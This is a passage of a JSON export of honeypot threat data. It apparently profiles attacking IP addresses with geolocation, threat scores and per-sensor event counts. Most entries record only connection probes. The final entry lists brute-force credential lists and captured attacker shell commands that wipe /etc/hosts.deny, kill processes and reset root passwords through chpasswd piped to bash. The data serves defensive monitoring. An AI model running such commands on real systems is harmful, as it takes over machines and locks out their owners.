      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9593,
        "days_active_30d": 30,
        "ports_targeted_30d": 1912,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T00:06:36+00:00",
        "last_seen_30d": "2026-04-30T23:23:57.909000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7065,
        "Honeytrap": 2466,
        "Miniprint": 24,
        "Dionaea": 18,
        "ConPot": 5,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Mailoney": 3,
        "Redishoneypot": 3,
        "Dicompot": 1
      }
    },
    "39.104.64.139": {
      "attack_count": 4,
      "first_seen": "2026-04-30T00:36:03.241Z",
      "last_seen": "2026-04-30T00:36:11.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T06:34:06.205000+00:00",
        "last_seen_30d": "2026-04-30T00:37:18.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.62.156.22": {
      "attack_count": 4,
      "first_seen": "2026-04-02T12:25:31.619Z",
      "last_seen": "2026-04-02T12:25:35.619Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T12:23:43.634000+00:00",
        "last_seen_30d": "2026-04-29T01:28:20.863000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "64.62.197.187": {
      "attack_count": 4,
      "first_seen": "2026-04-04T12:22:31.954Z",
      "last_seen": "2026-04-04T12:22:35.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 55.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 24,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:20:02.038000+00:00",
        "last_seen_30d": "2026-04-24T02:53:12.512000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "66.132.172.202": {
      "attack_count": 4,
      "first_seen": "2026-04-15T07:35:27.694Z",
      "last_seen": "2026-04-15T07:35:44.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T19:24:17+00:00",
        "last_seen_30d": "2026-04-30T20:34:14.275000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 45,
        "Cowrie": 4,
        "ConPot": 3,
        "Ipphoney": 1
      }
    },
    "179.124.29.29": {
      "attack_count": 3,
      "first_seen": "2026-04-04T15:34:37.982Z",
      "last_seen": "2026-04-04T15:35:40.017Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santar\u00e9m",
      "asn": 263611,
      "as_org": "ZUM TELECOM LTDA- ME",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T15:34:37.982000+00:00",
        "last_seen_30d": "2026-04-04T15:36:48.423000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "217.154.47.221": {
      "attack_count": 3,
      "first_seen": "2026-04-12T00:51:26.313Z",
      "last_seen": "2026-04-12T00:52:27.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T22:33:34+00:00",
        "last_seen_30d": "2026-04-12T00:56:44.290000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "220.250.10.131": {
      "attack_count": 3,
      "first_seen": "2026-04-08T00:50:41.679Z",
      "last_seen": "2026-04-08T00:50:41.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T00:50:41.679000+00:00",
        "last_seen_30d": "2026-04-13T01:02:40.113000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "100.35.7.246": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:51:36.488Z",
      "last_seen": "2026-04-13T00:51:49.843Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tenafly",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T00:51:36.488000+00:00",
        "last_seen_30d": "2026-04-13T00:52:56.782000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.248.135.230": {
      "attack_count": 2,
      "first_seen": "2026-04-17T03:35:16.474Z",
      "last_seen": "2026-04-17T03:35:16.475Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 13,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-05T20:47:03+00:00",
        "last_seen_30d": "2026-04-17T03:36:24.297000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 45,
        "Cowrie": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "110.249.63.84": {
      "attack_count": 2,
      "first_seen": "2026-04-07T08:21:30.443Z",
      "last_seen": "2026-04-07T08:21:44.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T08:21:30.443000+00:00",
        "last_seen_30d": "2026-04-07T08:22:45.159000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.19.181.132": {
      "attack_count": 2,
      "first_seen": "2026-04-30T12:06:06.015Z",
      "last_seen": "2026-04-30T12:06:18.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cebu City",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T12:06:06.015000+00:00",
        "last_seen_30d": "2026-04-30T12:07:28.157000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.230.49.33": {
      "attack_count": 2,
      "first_seen": "2026-04-30T23:03:13.226Z",
      "last_seen": "2026-04-30T23:03:49.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T23:03:13.226000+00:00",
        "last_seen_30d": "2026-04-30T23:04:51.237000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.232.74.249": {
      "attack_count": 2,
      "first_seen": "2026-04-17T20:43:17.664Z",
      "last_seen": "2026-04-17T20:43:17.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-17T20:43:17.664000+00:00",
        "last_seen_30d": "2026-04-19T15:18:30.450000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "172.237.138.200": {
      "attack_count": 2,
      "first_seen": "2026-04-22T23:14:03.458Z",
      "last_seen": "2026-04-22T23:14:34.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T23:14:03.458000+00:00",
        "last_seen_30d": "2026-04-22T23:15:36.501000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "174.73.253.244": {
      "attack_count": 2,
      "first_seen": "2026-04-30T09:11:15.801Z",
      "last_seen": "2026-04-30T09:11:58.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tempe",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:11:15.801000+00:00",
        "last_seen_30d": "2026-04-30T09:13:03.219000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.79.70.177": {
      "attack_count": 2,
      "first_seen": "2026-04-01T12:42:21.643Z",
      "last_seen": "2026-04-01T12:42:33.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Piracicaba",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T12:42:21.643000+00:00",
        "last_seen_30d": "2026-04-01T12:43:39.527000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.108": {
      "attack_count": 2,
      "first_seen": "2026-04-13T21:54:57.043Z",
      "last_seen": "2026-04-13T21:55:06.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T07:21:07+00:00",
        "last_seen_30d": "2026-04-30T19:46:37.652000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 21,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Cowrie": 2
      }
    },
    "205.210.31.244": {
      "attack_count": 2,
      "first_seen": "2026-04-28T22:00:42.831Z",
      "last_seen": "2026-04-28T22:00:43.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T06:23:48.766000+00:00",
        "last_seen_30d": "2026-04-30T23:26:31.122000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "209.99.188.140": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:54:22.912Z",
      "last_seen": "2026-04-23T18:54:23.277Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T00:02:45.401000+00:00",
        "last_seen_30d": "2026-04-27T23:35:34.484000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "43.134.126.236": {
      "attack_count": 2,
      "first_seen": "2026-04-20T01:14:59.382Z",
      "last_seen": "2026-04-20T01:14:59.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T01:14:59.382000+00:00",
        "last_seen_30d": "2026-04-20T01:16:06.893000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.126.85.206": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:30:36.570Z",
      "last_seen": "2026-04-29T04:32:36.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:30:36.570000+00:00",
        "last_seen_30d": "2026-04-29T04:42:42.870000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "45.177.207.67": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:09:20.146Z",
      "last_seen": "2026-04-30T14:09:33.795Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Katuet\u00e9",
      "asn": 267883,
      "as_org": "RODRIGUEZ PAEZ HUGO HERNAN TELNET PARAGUAY",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:09:20.146000+00:00",
        "last_seen_30d": "2026-04-30T14:10:36.762000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.131.64.98": {
      "attack_count": 2,
      "first_seen": "2026-04-27T17:06:22.979Z",
      "last_seen": "2026-04-27T17:06:22.980Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:06:22.979000+00:00",
        "last_seen_30d": "2026-04-27T17:07:31.235000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.125.137.18": {
      "attack_count": 14421,
      "first_seen": "2026-04-07T16:58:03.003Z",
      "last_seen": "2026-04-30T23:37:55.450Z",
      "sessions": 4845,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.client.version"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 265523,
      "as_org": "Sierra Madre Internet SA de CV",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127351,
        "days_active_30d": 24,
        "ports_targeted_30d": 1762,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T16:58:03.003000+00:00",
        "last_seen_30d": "2026-04-30T23:38:59.632000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63826,
        "Honeytrap": 46363,
        "Cowrie": 14421,
        "Dionaea": 2741
      }
    },
    "34.39.58.191": {
      "attack_count": 961,
      "first_seen": "2026-04-09T03:31:29.960Z",
      "last_seen": "2026-04-28T23:39:12.393Z",
      "sessions": 122,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "user",
        "minecraft",
        "abc",
        "administrator",
        "claude",
        "dev",
        "ftpuser",
        "git",
        "guest",
        "postgres",
        "server",
        "test",
        "admin123",
        "admin2",
        "afcadmin",
        "bot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1",
        "123",
        "admin",
        "password",
        "00000000",
        "111111",
        "12",
        "1234",
        "123456789",
        "123456aaa",
        "123abc",
        "123qwe!@#",
        "123zxcZXC",
        "1q2w3e4r",
        "1qaz2wsx!@",
        "2wsx3edc$rfv",
        "43214321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nnpiHV8CBaUfO\\nnpiHV8CBaUfO\\n\"|passwd",
        "echo \"Admin8\\ndHy9bcBqhQ63\\ndHy9bcBqhQ63\\n\"|passwd",
        "echo \"Claude31\\nybGKZVRxpr2g\\nybGKZVRxpr2g\\n\"|passwd",
        "echo \"git2023\\nwe0spXTBzY00\\nwe0spXTBzY00\\n\"|passwd",
        "echo \"root:El2Vth6dow7Y\"|chpasswd|bash",
        "echo \"root:d1NgxObFhWrR\"|chpasswd|bash",
        "echo -e \"1234\\nnpiHV8CBaUfO\\nnpiHV8CBaUfO\"|passwd|bash",
        "echo -e \"Admin8\\ndHy9bcBqhQ63\\ndHy9bcBqhQ63\"|passwd|bash",
        "echo -e \"Claude31\\nybGKZVRxpr2g\\nybGKZVRxpr2g\"|passwd|bash",
        "echo -e \"git2023\\nwe0spXTBzY00\\nwe0spXTBzY00\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1231,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
